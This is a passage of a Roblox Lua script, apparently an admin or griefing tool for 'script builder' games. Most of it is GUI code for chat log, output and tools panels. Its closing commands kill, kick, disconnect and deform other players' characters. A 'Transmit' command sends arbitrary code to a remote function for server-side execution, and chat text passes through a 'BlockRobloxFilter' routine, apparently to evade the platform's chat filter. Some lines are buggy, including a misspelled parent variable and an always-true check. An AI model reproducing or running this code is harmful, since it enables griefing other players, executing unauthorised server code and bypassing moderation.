  4915.         Parent = self:GetContentInstance()
  4916.     }
  4917.     if options then
  4918.         for key, value in pairs(options) do
  4919.             properties[key] = value
  4920.         end
  4921.     end
  4922.     local textLabel = RBXInstance.new "TextLabel" (properties)
  4923.     textLabel.Size = UDim2.new(1, 0, 0, textLabel.TextBounds.Y)
  4924.     self.listItems[#self.listItems + 1] = textLabel
  4925.     self:SetContentHeight(self.m_content_height + textLabel.TextBounds.Y)
  4926. end
  4927. function GuiTextList:ClearItems()
  4928.     local listItems = self.listItems
  4929.     for _, item in ipairs(listItems) do
  4930.         listItems[item] = nil
  4931.         item:Destroy()
  4932.     end
  4933.     self:SetContentHeight(0)
  4934. end
  4935. function GuiTextList:Destroy()
  4936.     self:ClearItems()
  4937.     GuiScrollFrame.Destroy(self)
  4938. end
  4939. function GuiTextList:Init(data)
  4940.     GuiScrollFrame.Init(self, data)
  4941.     self.listItems = {}
  4942. end
  4943. function GuiTextList:IsA(className)
  4944.     return className == "GuiTextList" or GuiScrollFrame.IsA(self, className)
  4945. end
  4946. GuiNetworkList = setmetatable({}, GuiTextList)
  4947. GuiNetworkList.__index = GuiNetworkList
  4948. function GuiNetworkList:AddItem(systemTime, idleTime, userName, isNil)
  4949.     local frame = GuiFrame:new {
  4950.         BackgroundTransparency = 1,
  4951.         BorderSize = 0,
  4952.         BorderTransparency = 1,
  4953.         Position = UDim2.new(0, 4, 0, self.m_content_height),
  4954.         Size = UDim2.new(1, -8, 0, 14),
  4955.     }
  4956.     local systemTimeColor
  4957.     if string.sub(systemTime, 1, 1) == "?" then
  4958.         systemTimeColor = Color3.new(1, 0.75, 0.75)
  4959.     else
  4960.         systemTimeColor = Color3.new(0.75, 0.75, 1)
  4961.     end
  4962.     local systemTimeLabel = RBXInstance.new "TextLabel" {
  4963.         BackgroundTransparency = 1,
  4964.         Font = "ArialBold",
  4965.         FontSize = "Size12",
  4966.         Position = UDim2.new(0, 0, 0, 0),
  4967.         Size = UDim2.new(0, 50, 1, 0),
  4968.         Text = systemTime,
  4969.         TextColor3 = systemTimeColor,
  4970.         TextStrokeTransparency = 0.6,
  4971.         TextXAlignment = "Left",
  4972.         Parent = frame:GetContentInstance()
  4973.     }
  4974.     local idle_time_color
  4975.     if string.sub(idleTime, 1, 1) == "0" then
  4976.         idle_time_color = Color3.new(1, 1, 1)
  4977.     else
  4978.         idle_time_color = Color3.new(1, 0.75, 0.75)
  4979.     end
  4980.     local idleTimeLabel = RBXInstance.new "TextLabel" {
  4981.         BackgroundTransparency = 1,
  4982.         Font = "ArialBold",
  4983.         FontSize = "Size12",
  4984.         Position = UDim2.new(0, 40, 0, 0),
  4985.         Size = UDim2.new(0, 45, 1, 0),
  4986.         Text = idleTime,
  4987.         TextColor3 = idle_time_color,
  4988.         TextStrokeTransparency = 0.6,
  4989.         TextXAlignment = "Right",
  4990.         Parent = frame:GetContentInstance()
  4991.     }
  4992.     local userNameLabel = GuiTextButton:new {
  4993.         AutoButtonColor = false,
  4994.         BackgroundTransparency = 1,
  4995.         BorderSize = 0,
  4996.         BorderTransparency = 1,
  4997.         Font = Enum.Font.SourceSansBold,
  4998.         FontSize = Enum.FontSize.Size14,
  4999.         Position = UDim2.new(0, 98, 0, 0),
  5000.         Size = UDim2.new(1, -98, 1, 0),
  5001.         TextXAlignment = Enum.TextXAlignment.Left,
  5002.         Text = userName,
  5003.         Parent = frame
  5004.     }
  5005.     frame:SetParent(self)
  5006.     local userNameWidth = userNameLabel:GetTextBounds().X
  5007.     userNameLabel:SetSize(UDim2.new(0, userNameWidth + 4, 1, 0))
  5008.     if isNil then
  5009.         local isNilLabel = RBXInstance.new "TextLabel" {
  5010.             BackgroundTransparency = 1,
  5011.             Font = "SourceSans",
  5012.             FontSize = "Size14",
  5013.             Position = UDim2.new(0, 100 + userNameWidth + 8, 0, 0),
  5014.             Size = UDim2.new(0, 50, 1, 0),
  5015.             Text = "(nil)",
  5016.             TextColor3 = Color3.new(1, 0.4, 0.4),
  5017.             TextStrokeTransparency = 0.6,
  5018.             TextXAlignment = "Left",
  5019.             Parent = frame:GetContentInstance()
  5020.         }
  5021.     end
  5022.     self.listItems[#self.listItems + 1] = frame
  5023.     self:SetContentHeight(self.m_content_height + 14)
  5024. end
  5025. function GuiNetworkList:IsA(className)
  5026.     return className == "GuiNetworkList" or GuiTextList.IsA(self, className)
  5027. end
  5028. GuiTextOutput = setmetatable({}, GuiScrollFrame)
  5029. GuiTextOutput.__index = GuiTextOutput
  5030. GuiTextOutput.__default = {__index = {
  5031.     DisplayMaxLines = 120,
  5032.     DisplayWidth = 0
  5033. }}
  5034. function GuiTextOutput:Init(data)
  5035.     GuiScrollFrame.Init(self, data)
  5036.     setmetatable(data, GuiTextOutput.__default)
  5037.     self.displayMaxLines = data.DisplayMaxLines
  5038.     self.displayWidth = data.DisplayWidth
  5039.     self.displayItems = {}
  5040.     self:SetBackgroundTransparency(0)
  5041.     self:SetColor(Color3.new(1, 1, 1))
  5042.     self.m_scroll_pane.BackgroundColor3 = Color3.new(0.5, 0.5, 0.5)
  5043. end
  5044. function GuiTextOutput:IsA(className)
  5045.     return className == "GuiTextOutput" or GuiScrollFrame.IsA(self, className)
  5046. end
  5047. function GuiTextOutput:Print(...)
  5048.     self:PrintFormat(nil, ...)
  5049. end
  5050. function GuiTextOutput:PrintFormat(options, ...)
  5051.     local buffer = {}
  5052.     local args = {...}
  5053.     local first = true
  5054.     for i = 1, select("#", ...) do
  5055.         buffer[i] = tostring(args[i])
  5056.     end
  5057.     message = Utility.BlockRobloxFilter(table.concat(buffer, "\t"))
  5058.     local properties = {
  5059.         BackgroundTransparency = 1,
  5060.         Font = "ArialBold",
  5061.         FontSize = "Size12",
  5062.         Position = UDim2.new(0, 4, 0, self.m_content_height),
  5063.         Text = message,
  5064.         TextColor3 = Color3.new(1, 1, 1),
  5065.         TextWrapped = true,
  5066.         TextXAlignment = "Left",
  5067.         TextYAlignment = "Bottom",
  5068.         Parent = self:GetContentInstance()
  5069.     }
  5070.     if options then
  5071.         for key, value in pairs(options) do
  5072.             properties[key] = value
  5073.         end
  5074.     end
  5075.     local textBounds = GuiService:GetTextBounds(message, properties.Font, properties.FontSize, properties.TextXAlignment, properties.TextYAlignment,
  5076.  
  5077. self.displayWidth - 20)
  5078.     local textHeight = textBounds.Y
  5079.     properties.Size = UDim2.new(0, self.displayWidth - 8, 0, textBounds.Y)
  5080.     local textLabel = RBXInstance.new "TextLabel" (properties)
  5081.     self.displayItems[#self.displayItems + 1] = textLabel
  5082.     local maxLines = self.displayMaxLines
  5083.     local maxHeight = maxLines * 12
  5084.     local newHeight = self.m_content_height + textHeight
  5085.     if newHeight > maxHeight then
  5086.         local offset = 0
  5087.         local newList = {}
  5088.         local oldList = self.displayItems
  5089.         for index, child in ipairs(oldList) do
  5090.             local childOffset = child.Size.Y.Offset
  5091.             if newHeight > maxHeight then
  5092.                 offset = offset + childOffset
  5093.                 newHeight = newHeight - childOffset
  5094.                 child:Destroy()
  5095.             else
  5096.                 child.Position = child.Position - UDim2.new(0, 0, 0, offset)
  5097.                 newList[#newList + 1] = child
  5098.             end
  5099.         end
  5100.         self.displayItems = newList
  5101.     end
  5102.     self:SetContentHeight(newHeight)
  5103. end
  5104. GuiChatLog = setmetatable({}, GuiScrollFrame)
  5105. GuiChatLog.__index = GuiChatLog
  5106. GuiChatLog.__default = {__index = {
  5107.     DisplayMaxLines = 200,
  5108.     DisplayWidth = 0,
  5109. }}
  5110. function GuiChatLog:Chat(speaker, message)
  5111.     local speaker_color = AdvancedGUI.GenerateChatColor(speaker)
  5112.     speaker = Utility.BlockRobloxFilter(speaker)
  5113.     message = "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t" .. Utility.BlockRobloxFilter(message)
  5114.     local timestamp = Utility.GetTimestamp()
  5115.     local textBounds = GuiService:GetTextBounds(message, "ArialBold", "Size12", "Left", "Bottom", self.displayWidth - 8)
  5116.     local textHeight = math.max(math.min(textBounds.Y, 36), 12)
  5117.     local message_frame = RBXInstance.new "Frame" {
  5118.         BackgroundTransparency = 1,
  5119.         Position = UDim2.new(0, 0, 0, self.m_content_height),
  5120.         Size = UDim2.new(0, self.displayWidth, 0, textHeight),
  5121.         Parent = self:GetContentInstance()
  5122.     }
  5123.     local timestamp_label = RBXInstance.new "TextLabel" {
  5124.         BackgroundTransparency = 1,
  5125.         Font = "ArialBold",
  5126.         FontSize = "Size12",
  5127.         Position = UDim2.new(0, 4, 0, 0),
  5128.         Size = UDim2.new(1, -8, 0, 12),
  5129.         Text = timestamp,
  5130.         TextColor3 = Color3.new(0.75, 0.75, 0.75),
  5131.         TextStrokeTransparency = 0.6,
  5132.         TextWrapped = true,
  5133.         TextXAlignment = "Left",
  5134.         Parent = message_frame
  5135.     }
  5136.     local speaker_label = RBXInstance.new "TextLabel" {
  5137.         BackgroundTransparency = 1,
  5138.         Font = "ArialBold",
  5139.         FontSize = "Size12",
  5140.         Position = UDim2.new(0, 64, 0, 0),
  5141.         Size = UDim2.new(0, 100, 0, 12),
  5142.         Text = speaker,
  5143.         TextColor3 = speaker_color,
  5144.         TextStrokeTransparency = 0.6,
  5145.         Parent = message_frame
  5146.     }
  5147.     local message_label = RBXInstance.new "TextLabel" {
  5148.         BackgroundTransparency = 1,
  5149.         Font = "ArialBold",
  5150.         FontSize = "Size12",
  5151.         Position = UDim2.new(0, 4, 0, 0),
  5152.         Size = UDim2.new(1, -8, 1, 0),
  5153.         Text = message,
  5154.         TextColor3 = Color3.new(1, 1, 1),
  5155.         TextStrokeTransparency = 0.6,
  5156.         TextXAlignment = "Left",
  5157.         TextYAlignment = "Bottom",
  5158.         TextWrapped = true,
  5159.         Parent = message_frame
  5160.     }
  5161.     self.displayItems[#self.displayItems + 1] = message_frame
  5162.     local maxLines = self.displayMaxLines
  5163.     local maxHeight = maxLines * 12
  5164.     local newHeight = self.m_content_height + textHeight
  5165.     if newHeight > maxHeight then
  5166.         local offset = 0
  5167.         local newList = {}
  5168.         local oldList = self.displayItems
  5169.         for index, child in ipairs(oldList) do
  5170.             local childOffset = child.Size.Y.Offset
  5171.             if newHeight > maxHeight then
  5172.                 offset = offset + childOffset
  5173.                 newHeight = newHeight - childOffset
  5174.                 child:Destroy()
  5175.             else
  5176.                 child.Position = child.Position - UDim2.new(0, 0, 0, offset)
  5177.                 newList[#newList + 1] = child
  5178.             end
  5179.         end
  5180.         self.displayItems = newList
  5181.     end
  5182.     self:SetContentHeight(newHeight)
  5183. end
  5184. function GuiChatLog:Init(data)
  5185.     GuiScrollFrame.Init(self, data)
  5186.     setmetatable(data, GuiChatLog.__default)
  5187.     self.displayMaxLines = data.DisplayMaxLines
  5188.     self.displayWidth = data.DisplayWidth
  5189.     self.displayItems = {}
  5190. end
  5191. function GuiChatLog:IsA(className)
  5192.     return className == "GuiChatLog" or GuiScrollFrame.IsA(self, className)
  5193. end
  5194. GuiSeperator = setmetatable({}, GuiObject)
  5195. GuiSeperator.__index = GuiSeperator
  5196. GuiSeperator.__default = {__index = {
  5197.     Active = false,
  5198.     Position = UDim2.new(0, 0, 0, 0),
  5199.     Size = UDim2.new(1, 0, 0, 16),
  5200.     Visible = true
  5201. }}
  5202. function GuiSeperator:Init(data)
  5203.     GuiObject.Init(self)
  5204.     setmetatable(data, GuiSeperator.__default)
  5205.     local base_frame = RBXInstance.new "Frame" {
  5206.         BackgroundTransparency = 1,
  5207.         RBXInstance.new "Frame" {
  5208.             BackgroundColor3 = Color3.new(1, 1, 1),
  5209.             BackgroundTransparency = 0.25,
  5210.             BorderSizePixel = 0,
  5211.             Position = UDim2.new(0.5, -13, 0.5, -1),
  5212.             Size = UDim2.new(0, 3, 0, 3),
  5213.             RBXInstance.new "Frame" {
  5214.                 BackgroundColor3 = Color3.new(0, 0, 0),
  5215.                 BackgroundTransparency = 0.75,
  5216.                 BorderSizePixel = 0,
  5217.                 Position = UDim2.new(0, -1, 0, -1),
  5218.                 Size = UDim2.new(0, 5, 0, 5)
  5219.             }
  5220.         },
  5221.         RBXInstance.new "Frame" {
  5222.             BackgroundColor3 = Color3.new(1, 1, 1),
  5223.             BackgroundTransparency = 0.25,
  5224.             BorderSizePixel = 0,
  5225.             Position = UDim2.new(0.5, -1, 0.5, -1),
  5226.             Size = UDim2.new(0, 3, 0, 3),
  5227.             RBXInstance.new "Frame" {
  5228.                 BackgroundColor3 = Color3.new(0, 0, 0),
  5229.                 BackgroundTransparency = 0.75,
  5230.                 BorderSizePixel = 0,
  5231.                 Position = UDim2.new(0, -1, 0, -1),
  5232.                 Size = UDim2.new(0, 5, 0, 5)
  5233.             }
  5234.         },
  5235.         RBXInstance.new "Frame" {
  5236.             BackgroundColor3 = Color3.new(1, 1, 1),
  5237.             BackgroundTransparency = 0.25,
  5238.             BorderSizePixel = 0,
  5239.             Position = UDim2.new(0.5, 11, 0.5, -1),
  5240.             Size = UDim2.new(0, 3, 0, 3),
  5241.             RBXInstance.new "Frame" {
  5242.                 BackgroundColor3 = Color3.new(0, 0, 0),
  5243.                 BackgroundTransparency = 0.75,
  5244.                 BorderSizePixel = 0,
  5245.                 Position = UDim2.new(0, -1, 0, -1),
  5246.                 Size = UDim2.new(0, 5, 0, 5)
  5247.             }
  5248.         }
  5249.     }
  5250.     self.m_base_instance = base_frame
  5251.     self:SetActive(data.Active)
  5252.     self:SetPosition(data.Position)
  5253.     self:SetSize(data.Size)
  5254.     self:SetVisible(data.Visible)
  5255.     self:SetParent(data.Parent)
  5256. end
  5257. function GuiSeperator:IsA(className)
  5258.     return className == "GuiSeperator" or GuiObject.IsA(self, className)
  5259. end
  5260. local startMenu = GuiFrame:new {
  5261.     BorderTransparency = 0.5,
  5262.     Position = UDim2.new(0, -4, 0, -4),
  5263.     Size = UDim2.new(0, 68, 1, 8),
  5264.     Parent = GuiService
  5265. }
  5266. GuiSeperator:new {
  5267.     Position = UDim2.new(0, 0, 0, 5),
  5268.     Parent = startMenu
  5269. }
  5270. GuiSeperator:new {
  5271.     Position = UDim2.new(0, 0, 1, -85),
  5272.     Parent = startMenu
  5273. }
  5274. local networkButton = GuiTextButton:new {
  5275.     BackgroundTransparency = 0.9,
  5276.     Mnemonic = "L",
  5277.     Position = UDim2.new(0, 4, 1, -647),
  5278.     Text = "Network",
  5279.     Parent = startMenu
  5280. }
  5281. local chatLogButton = GuiTextButton:new {
  5282.     BackgroundTransparency = 0.9,
  5283.     Mnemonic = "K",
  5284.     Position = UDim2.new(0, 4, 1, -475),
  5285.     Text = "Chat log",
  5286.     Parent = startMenu
  5287. }
  5288. local outputButton = GuiTextButton:new {
  5289.     BackgroundTransparency = 0.9,
  5290.     Mnemonic = "P",
  5291.     Position = UDim2.new(0, 4, 1, -283),
  5292.     Text = "Output",
  5293.     Parent = startMenu
  5294. }
  5295. local toolsButton = GuiTextButton:new {
  5296.     BackgroundTransparency = 0.9,
  5297.     Mnemonic = "O",
  5298.     Position = UDim2.new(0, 4, 1, -137),
  5299.     Text = "Tools",
  5300.     Parent = startMenu
  5301. }
  5302. local networkFrame = GuiNetworkList:new {
  5303.     Position = UDim2.new(0, 66, 1, -647),
  5304.     Size = UDim2.new(0, 0, 0, 168),
  5305.     Visible = false,
  5306.     Parent = GuiService
  5307. }
  5308. local chatLogFrame = GuiChatLog:new {
  5309.     DisplayWidth = 332,
  5310.     Position = UDim2.new(0, 66, 1, -475),
  5311.     Size = UDim2.new(0, 0, 0, 188),
  5312.     Visible = false,
  5313.     Parent = GuiService
  5314. }
  5315. local outputFrame = GuiTextOutput:new {
  5316.     DisplayWidth = 332,
  5317.     Position = UDim2.new(0, 66, 1, -283),
  5318.     Size = UDim2.new(0, 0, 0, 140),
  5319.     Visible = false,
  5320.     Parent = GuiService
  5321. }
  5322. local toolsFrame = GuiFrame:new {
  5323.     Position = UDim2.new(0, 66, 1, -137),
  5324.     Size = UDim2.new(0, 0, 0, 52),
  5325.     Visible = false,
  5326.     Parent = GuiService
  5327. }
  5328. local toggleCharacterButton = GuiTextButton:new {
  5329.     BackgroundTransparency = 0.9,
  5330.     Position = UDim2.new(0, 1, 0, 1),
  5331.     Size = UDim2.new(0, 108, 0, 20),
  5332.     Text = "Enable character",
  5333.     Parent = toolsFrame
  5334. }
  5335. local resetCharacterButton = GuiTextButton:new {
  5336.     BackgroundTransparency = 0.9,
  5337.     Position = UDim2.new(0, 1, 0, 23),
  5338.     Size = UDim2.new(0, 108, 0, 20),
  5339.     Text = "Reset character",
  5340.     Parent = toosFrame
  5341. }
  5342. local clearWorkspaceButton = GuiTextButton:new {
  5343.     BackgroundTransparency = 0.9,
  5344.     Position = UDim2.new(0, 110, 0, 1),
  5345.     Size = UDim2.new(0, 108, 0, 20),
  5346.     Text = "Clear workspace",
  5347.     Parent = toolsFrame
  5348. }
  5349. local clearScriptButton = GuiTextButton:new {
  5350.     BackgroundTransparency = 0.9,
  5351.     Position = UDim2.new(0, 110, 0, 23),
  5352.     Size = UDim2.new(0, 108, 0, 20),
  5353.     Text = "Clear all",
  5354.     Parent = toolsFrame
  5355. }
  5356. local fixLightingButton = GuiTextButton:new {
  5357.     BackgroundTransparency = 0.9,
  5358.     Position = UDim2.new(0, 219, 0, 1),
  5359.     Size = UDim2.new(0, 108, 0, 20),
  5360.     Text = "Fix lighting",
  5361.     Parent = toolsFrame
  5362. }
  5363. local reloadCommandsButton = GuiTextButton:new {
  5364.     BackgroundTransparency = 0.9,
  5365.     Position = UDim2.new(0, 219, 0, 23),
  5366.     Size = UDim2.new(0, 108, 0, 20),
  5367.     Text = "Reload commands",
  5368.     Parent = toolsFrame
  5369. }
  5370. toggleCharacterButton.Activated:connect(function()
  5371.     local enabled = not PlayerControl.IsEnabled()
  5372.     if enabled then
  5373.         toggleCharacterButton:SetText("Disable character")
  5374.     else
  5375.         toggleCharacterButton:SetText("Enable character")
  5376.     end
  5377.     PlayerControl.SetEnabled(enabled)
  5378. end)
  5379. resetCharacterButton.Activated:connect(function()
  5380.     PlayerControl.ResetCharacter()
  5381. end)
  5382. clearWorkspaceButton.Activated:connect(function()
  5383.     Utility.CleanWorkspace()
  5384. end)
  5385. clearScriptButton.Activated:connect(function()
  5386.     Utility.CleanWorkspaceAndScripts()
  5387. end)
  5388. fixLightingButton.Activated:connect(function()
  5389.     Utility.CleanLighting()
  5390. end)
  5391. reloadCommandsButton.Activated:connect(function()
  5392.     UserInterface.FixChattedConnection()
  5393. end)
  5394. local networkFrameActive = false
  5395. local networkFrameTweening = false
  5396. networkButton.Activated:connect(function()
  5397.     if not networkFrameTweening then
  5398.         networkFrameActive = not networkFrameActive
  5399.         networkFrameTweening = true
  5400.         if networkFrameActive then
  5401.             networkFrame:SetVisible(true)
  5402.             networkFrame.m_base_instance:TweenSize(UDim2.new(0, 276, 0, 168), nil, nil, 0.5)
  5403.             wait(0.5)
  5404.         else
  5405.             networkFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 168), nil, nil, 0.5)
  5406.             wait(0.5)
  5407.             networkFrame:SetVisible(false)
  5408.         end
  5409.         networkFrameTweening = false
  5410.     end
  5411. end)
  5412. local chatLogFrameActive = false
  5413. local chatLogFrameTweening = false
  5414. chatLogButton.Activated:connect(function()
  5415.     if not chatLogFrameTweening then
  5416.         chatLogFrameActive = not chatLogFrameActive
  5417.         chatLogFrameTweening = true
  5418.         if chatLogFrameActive then
  5419.             chatLogFrame:SetVisible(true)
  5420.             chatLogFrame.m_base_instance:TweenSize(UDim2.new(0, 360, 0, 188), nil, nil, 0.5)
  5421.             wait(0.5)
  5422.         else
  5423.             chatLogFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 188), nil, nil, 0.5)
  5424.             wait(0.5)
  5425.             chatLogFrame:SetVisible(false)
  5426.         end
  5427.         chatLogFrameTweening = false
  5428.     end
  5429. end)
  5430. local outputFrameActive = false
  5431. local outputFrameTweening = false
  5432. outputButton.Activated:connect(function()
  5433.     if not outputFrameTweening then
  5434.         outputFrameActive = not outputFrameActive
  5435.         outputFrameTweening = true
  5436.         if outputFrameActive then
  5437.             outputFrame:SetVisible(true)
  5438.             outputFrame.m_base_instance:TweenSize(UDim2.new(0, 360, 0, 140), nil, nil, 0.5)
  5439.             wait(0.5)
  5440.         else
  5441.             outputFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 140), nil, nil, 0.5)
  5442.             wait(0.5)
  5443.             outputFrame:SetVisible(false)
  5444.         end
  5445.         outputFrameTweening = false
  5446.     end
  5447. end)
  5448. local toolsFrameActive = false
  5449. local toolsFrameTweening = false
  5450. toolsButton.Activated:connect(function()
  5451.     if not toolsFrameTweening then
  5452.         toolsFrameActive = not toolsFrameActive
  5453.         toolsFrameTweening = true
  5454.         if toolsFrameActive then
  5455.             toolsFrame:SetVisible(true)
  5456.             toolsFrame.m_base_instance:TweenSize(UDim2.new(0, 336, 0, 52), nil, nil, 0.5)
  5457.             wait(0.5)
  5458.         else
  5459.             toolsFrame.m_base_instance:TweenSize(UDim2.new(0, 0, 0, 52), nil, nil, 0.5)
  5460.             wait(0.5)
  5461.             toolsFrame:SetVisible(false)
  5462.         end
  5463.         toolsFrameTweening = false
  5464.     end
  5465. end)
  5466. AdvancedGUI.startMenu = startMenu
  5467. AdvancedGUI.networkFrame = networkFrame
  5468. AdvancedGUI.outputFrame = outputFrame
  5469. AdvancedGUI.toolsFrame = toolsFrame
  5470. AdvancedGUI.chatLogFrame = chatLogFrame
  5471. AdvancedGUI.toggleCharacterButton = toggleCharacterButton
  5472. AdvancedGUI.reloadCommandsButton = reloadCommandsButton
  5473. function AdvancedGUI.Print(...)
  5474.     AdvancedGUI.outputFrame:Print(...)
  5475. end
  5476. function AdvancedGUI.PrintFormat(...)
  5477.     AdvancedGUI.outputFrame:PrintFormat(...)
  5478. end
  5479. function AdvancedGUI.PrintChatLog(speaker, message)
  5480.     AdvancedGUI.chatLogFrame:Chat(speaker, message)
  5481. end
  5482. for _, entry in Logger.NodeIterator, Logger.entries do
  5483.     if entry then
  5484.         local messageType = entry[1]
  5485.         local messageTypeValue
  5486.         if messageType == Logger.MessageType.Error then
  5487.             messageTypeValue = Logger.MessageType.Severe.Value
  5488.         else
  5489.             messageTypeValue = messageType.Value
  5490.         end
  5491.         AdvancedGUI.outputFrame:PrintFormat(Logger.MESSAGE_TYPE_SETTINGS[messageTypeValue], entry[2])
  5492.     else
  5493.         break
  5494.     end
  5495. end
  5496.  
  5497. function GetPlayers(str)
  5498.     local found = {};
  5499.     if str == "all" then
  5500.         for i,v in pairs(game.Players:children()) do
  5501.             if v:IsA("Player") then table.insert(found,v) end
  5502.         end
  5503.     else
  5504.         for i,v in pairs(game.Players:children()) do
  5505.             if string.match(v.Name:lower(), str:lower()) and v:IsA("Player") then
  5506.                 table.insert(found,v)
  5507.             end
  5508.         end
  5509.     end
  5510.     return found
  5511. end
  5512.  
  5513. function NewCMD(nme, usg, desc, func)
  5514.     table.insert(CMDS, {['Name']=nme, ['Usage']=usg, ['Description']=desc, ['Function']=func})
  5515. end
  5516.  
  5517. NewCMD("Chat Theme", "ctheme", "Changes the chat theme", function(msg) ChatBubble.SetTheme(msg) end)
  5518. NewCMD("Clean", "clr", "Clears the game", function() Utility.CleanWorkspaceAndScripts() end)
  5519. NewCMD("Fix Lighting", "fixl", "Fixes the ligghting",function() Utility.CleanLighting() end)
  5520. NewCMD("Kill", "kill", "Kills the player", function(msg)
  5521.     local plrs = GetPlayers(msg)
  5522.     for _,plr in next,plrs do
  5523.         GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Really red"), float_duration = 1})
  5524.         plr.Character:BreakJoints()
  5525.     end
  5526. end)
  5527.  
  5528. NewCMD("Kick", "kick", "Kicks the player", function(msg)
  5529.     local plrs = GetPlayers(msg)
  5530.     for _,plr in next,plrs do
  5531.         GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Really black"), float_duration = 1})
  5532.         plr:remove()
  5533.     end
  5534. end)
  5535.  
  5536. NewCMD("Show commands","cmds", "Shows the commands",
  5537.     function()
  5538.         for i,v in pairs(CMDS) do
  5539.             Tablet(v['Name'],Colors.Black,function()
  5540.             Dismiss()
  5541.             Tablet("Viewing".." : "..v['Name'])--wait u got so many I just want to access func
  5542.             Tablet("Usage".." : "..v['Usage'])
  5543.             Tablet("Description".." : "..v['Description'])
  5544.             end)
  5545.             end
  5546.         end
  5547. )
  5548. NewCMD("Disconnect", "disc", "Disconnects the player",function(msg)
  5549.     local plrs = GetPlayers(msg)
  5550.     for _,plr in next,plrs do
  5551.         if RF ~= nil then
  5552.             GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("Magenta"), float_duration = 1})
  5553.             RF:InvokeServer("game.Players."..plr.Name..":Kick()")
  5554.         else
  5555.             Tablet("Could not find Attachment", Colors.Red)
  5556.         end
  5557.     end
  5558. end)
  5559. NewCMD("Ping", "ping", "Shows a tablet with your desired text",function(msg) Tablet(msg, Colors.Green) end)
  5560. NewCMD("Dismiss", "dt", "Dismisses all your tablets",function(msg) Dismiss() end)
  5561. NewCMD("Visibility", "tabvis", "Changes the visibility of the tabs",function() if TabsInWorkspace == true then TabsInWorkspace = false Tablet("Tabs will be invisible from now on", Colors.Red) else TabsInWorkspace = true Tablet("Tabs will be visible from now on!", Colors.Lime) end end)
  5562. NewCMD("Respawn", "rs", "Respawns the given player",function(msg)
  5563.     local plrs = GetPlayers(msg)
  5564.     for _,plr in next,plrs do
  5565.         if RF ~= nil then
  5566.             GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("New Yeller"), fade_out_color = BrickColor.new("Instituational White"),float_duration = 1})
  5567.             RF:InvokeServer("game.Players."..plr.Name..":loadCharacter()")
  5568.         else
  5569.             Tablet("Could not find Attachment", Colors.Red)
  5570.         end
  5571.     end
  5572. end)
  5573.  
  5574. NewCMD("Transmit", "trans", "Sends a server-side source",function(msg)
  5575.     if RF ~= nil then
  5576.         RF:InvokeServer(msg)
  5577.     end
  5578. end)
  5579.  
  5580. NewCMD("SetCharId", "setcharid", "Sets the character id",function(args) if args == 1 or 2 or 3 or 4 then CharacterAppearance.defaultAppearanceId = tonumber(args) end end)
  5581. NewCMD("Pushable player", "pushable", "Sets if the player can be pushed or not",function(args) PlayerControl.SetPushable(not PlayerControl.IsPushable()) end)
  5582. NewCMD("Rolling player", "rolling", "Sets rolling fly",function(args) PlayerControl.SetRolling(not PlayerControl.IsRolling()) end)
  5583. NewCMD("Set Name", "setname", "Sets the player's name",function(args) user_name = args end)
  5584.  
  5585. NewCMD("Switch SB", "sb", "Switches SB",function(msg)
  5586.     if msg == "nex" then
  5587.         Workspace.Parent:service'TeleportService':Teleport(178350907)
  5588.     elseif msg == "rj" then
  5589.         Workspace.Parent:service'TeleportService':Teleport(game.PlaceId)
  5590.     elseif msg == "mas" then
  5591.         Workspace.Parent:service'TeleportService':Teleport(210101277)
  5592.     end
  5593. end)
  5594.  
  5595. NewCMD("PyramidCharacter", "pyr", "Enables or disables nil Pyramid",function(msg)
  5596.     if characterMode == "normal" then
  5597.         characterMode = "pyramid"
  5598.         Player.Character = nil;
  5599.         PyramidCharacter.Teleport(Workspace.CurrentCamera.Focus.p)
  5600.         PyramidCharacter.visible = true
  5601.         PlayerControl.SetEnabled(false)
  5602.     else
  5603.         characterMode = "normal"
  5604.         PyramidCharacter.visible = false
  5605.         PlayerControl.SetEnabled(true)
  5606.     end
  5607. end)
  5608.  
  5609. NewCMD("Reset Controls", "resetc", "Resets chat",function()
  5610.     if Player.Parent ~= game.Players then
  5611.         Player.Character = PlayerControl.GetCharacter()
  5612.         Camera.CameraSubject = PlayerControl.GetHumanoid()
  5613.         chatAdornee = PlayerControl.GetHead()
  5614.     else
  5615.         chatAdornee = Player.Character.Head
  5616.     end
  5617. end)
  5618.  
  5619. NewCMD("Joint Crap", "jc", "Messes up the player's character",function(msg)
  5620.     local plrs = GetPlayers(msg)
  5621.     for _,plr in next,plrs do
  5622.         GraphicalEffects.CrystalRing({base_part=plr.Character.Torso, crystal_color = BrickColor.new("New Yeller"), float_duration = 1})
  5623.         GraphicalEffects.JointCrap(plr.Character)
  5624.     end
  5625. end)
  5626.    
  5627. function onChatted(Message)
  5628. if string.sub(Message,1,3) == "/e " then Message = string.sub(Message,4) end
  5629.     pcall(function()
  5630.         for i,v in pairs(CMDS) do
  5631.                 local tosay = "/"..v['Usage']:lower()
  5632.                 if Message:sub(1,tosay:len()):lower() == tosay:lower() then
  5633.                         local Run,Error = ypcall(function()
  5634.                             v.Function(Message:sub(tosay:len()+2))
  5635.                         end)
  5636.                         if Error then
  5637.                             print("[Error]: "..tostring(Error))
  5638.                         end
  5639.                 end
  5640.         end
  5641.     end)
  5642. end
  5643.  
  5644. Colors = {
  5645.         Red = Color3.new(1,0,0);
  5646.         Orange = Color3.new(1,0.5,0);
  5647.         Yellow = Color3.new(1,1,0);
  5648.         Olive = Color3.new(0.5,1,0);
  5649.         Lime = Color3.new(0,1,0);
  5650.         Green = Color3.new(0,0.5,0);
  5651.         BlueishGreen = Color3.new(0,1,0.5);
  5652.         Aqua = Color3.new(0,1,1);
  5653.         SoftBlue = Color3.new(0,0.5,1);
  5654.         Blue = Color3.new(0,0,1);
  5655.         Purple = Color3.new(0.5,0,1);
  5656.         Magenta = Color3.new(0.75,0,0.75);
  5657.         Pink = Color3.new(1,0,1);
  5658.         White = Color3.new(1,1,1);
  5659.         Grey = Color3.new(0.5,0.5,0.5);
  5660.         Black = Color3.new(0,0,0);
  5661. };
  5662.  
  5663. function Dismiss()
  5664.                 for _=1,100 do
  5665.                         pcall(function()
